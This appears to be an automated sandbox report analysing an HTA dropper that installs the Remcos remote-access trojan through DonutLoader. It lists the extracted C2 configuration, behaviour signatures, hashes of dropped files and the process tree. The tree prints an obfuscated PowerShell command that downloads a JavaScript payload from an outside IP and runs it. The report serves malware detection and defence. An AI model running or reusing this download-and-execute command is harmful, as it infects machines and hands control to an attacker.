Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/11/2026, 00:23

General

  • Target
    givingbestthings.hta
  • Size 15KB
  • Sample261111-apfevasz3l
  • SHA256 0a772027c61cef6a5402577307e898ceba7405911bf1a2fe57707be9bb30230e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 7.3.1 Pro

Botnet
  • 15thtry1564

C2
  • 141.98.10.188:2409

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-HRX1LH

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detects DonutLoader 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 2 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\givingbestthings.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2632
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C pOWershELl.Exe -eX BYPass -NOP -w 1 -eC IAAJAAkAIAAgACAAIAAgAAkAIAAgAAkAIAAgAAkAIAAgAAkAIAAgAAkAIABXAEcARQB0ACAACQAJAAkAHSBoAHQAdABwADoALwAvADEAMAA3AC4AMQA3ADQALgAzADQALgAxADQANQAvADEANQAvAHMAdwBpAHMAcwBtAGUALgBqAHMAHSAgAC0AbwBVAFQARgBpAGwARQAgACAAIAAgACAAIAAgACAAIAAdICQARQBuAFYAOgBwAHUAQgBMAEkAQwBcAHMAdwBpAHMAcwBuAGUAdABzAC4AagBzAB0gIAAJAAkACQAJAAkACQAJAAkAOwAgACAACQAJACAAIAAJACAACQAJACYAIAAJACAACQAgACAACQAJAAkAIAAdICQAZQBuAFYAOgBQAHUAQgBMAGkAYwBcAHMAdwBpAHMAcwBuAGUAdABzAC4AagBzAB0g "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:708
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOWershELl.Exe -eX BYPass -NOP -w 1 -eC IAAJAAkAIAAgACAAIAAgAAkAIAAgAAkAIAAgAAkAIAAgAAkAIAAgAAkAIABXAEcARQB0ACAACQAJAAkAHSBoAHQAdABwADoALwAvADEAMAA3AC4AMQA3ADQALgAzADQALgAxADQANQAvADEANQAvAHMAdwBpAHMAcwBtAGUALgBqAHMAHSAgAC0AbwBVAFQARgBpAGwARQAgACAAIAAgACAAIAAgACAAIAAdICQARQBuAFYAOgBwAHUAQgBMAEkAQwBcAHMAdwBpAHMAcwBuAGUAdABzAC4AagBzAB0gIAAJAAkACQAJAAkACQAJAAkAOwAgACAACQAJACAAIAAJACAACQAJACYAIAAJACAACQAgACAACQAJAAkAIAAdICQAZQBuAFYAOgBQAHUAQgBMAGkAYwBcAHMAdwBpAHMAcwBuAGUAdABzAC4AagBzAB0g "
        3⤵
        • Badlisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2980
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Public\swissnets.js"
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:5052
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c echo. > "C:\Users\Public\swissnets.js:Zone.Identifier"
            5⤵
            • Executes a command shell one-liner
            • System Location Discovery: System Language Discovery
            • NTFS ADS
            PID:3400
          • C:\Users\Admin\Documents\TNWLIGAWESWQCHRG.exe
            "C:\Users\Admin\Documents\TNWLIGAWESWQCHRG.exe" C:\Users\Admin\Documents\GRHCQWSEWAGILWNT
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            PID:2496

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        GRHCQWSEWAGILWNT

        • Path C:\Users\Admin\Documents\GRHCQWSEWAGILWNT
        • Size 1.1MB
        • SHA256 7c70aa696d0de3e35b0e793fe33c4576cbae43599459645c97146efe85e3fc26
        • MD5 SHA1 SHA512 SSDEEP TLSH

        TNWLIGAWESWQCHRG.exe

        • Path C:\Users\Admin\Documents\TNWLIGAWESWQCHRG.exe
        • Size 27KB
        • SHA256 70916418ff0b6c2a12e8897ff622bdbb115435d38f0afe3ea981de1e7652ebb4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        lua51.dll

        • Path C:\Users\Admin\Documents\lua51.dll
        • Size 439KB
        • SHA256 2f52407927015a8bf4a2a6765ccb599bc438c9a19e1d4a5dda1f5292a0c0e50a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        swissnets.js

        • Path C:\Users\Public\swissnets.js
        • Size 4.8MB
        • SHA256 e7c8f512c9305b3e0d0cc0aa673de63d5f1cdb8a3fa25bf739a4395c259cde9e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2496-88-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-86-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-93-0x0000000066D80000-0x0000000066DF4000-memory.dmp

        memory/2496-92-0x0000000000400000-0x000000000040D000-memory.dmp

        memory/2496-91-0x0000000014480000-0x000000001452F000-memory.dmp

        memory/2496-72-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-73-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-74-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-75-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-76-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-77-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-78-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-79-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-80-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-81-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-82-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-83-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-90-0x00000000025B0000-0x00000000035B0000-memory.dmp

        memory/2496-84-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-42-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-43-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-44-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-45-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-46-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-50-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-49-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-48-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-47-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-51-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-54-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-53-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-52-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-58-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-56-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-85-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-55-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-89-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-61-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-60-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-62-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-65-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-63-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-70-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-69-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-68-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-67-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-66-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-64-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-71-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-57-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-59-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2496-87-0x0000000057FD0000-0x0000000057FE0000-memory.dmp

        memory/2980-0-0x00000000750B2000-0x00000000750B3000-memory.dmp

        memory/2980-16-0x00000000750B2000-0x00000000750B3000-memory.dmp

        memory/2980-1-0x0000000004900000-0x0000000004936000-memory.dmp

        memory/2980-15-0x00000000750A0000-0x000000007585C000-memory.dmp

        memory/2980-3-0x00000000050A0000-0x00000000056EA000-memory.dmp

        memory/2980-26-0x00000000750A0000-0x000000007585C000-memory.dmp

        memory/2980-4-0x0000000005760000-0x0000000005782000-memory.dmp

        memory/2980-18-0x00000000750A0000-0x000000007585C000-memory.dmp

        memory/2980-5-0x0000000005800000-0x0000000005866000-memory.dmp

        memory/2980-19-0x00000000750A0000-0x000000007585C000-memory.dmp

        memory/2980-2-0x00000000750A0000-0x000000007585C000-memory.dmp

        memory/2980-17-0x00000000750A0000-0x000000007585C000-memory.dmp

        memory/2980-13-0x0000000007710000-0x0000000007D8C000-memory.dmp

        memory/2980-14-0x0000000006320000-0x000000000633A000-memory.dmp

        memory/2980-12-0x0000000005E30000-0x0000000005E7C000-memory.dmp

        memory/2980-11-0x0000000005DE0000-0x0000000005DFE000-memory.dmp

        memory/2980-10-0x0000000005920000-0x0000000005C7B000-memory.dmp

        memory/2980-6-0x0000000005870000-0x00000000058D6000-memory.dmp

        memory/2980-7-0x00000000750A0000-0x000000007585C000-memory.dmp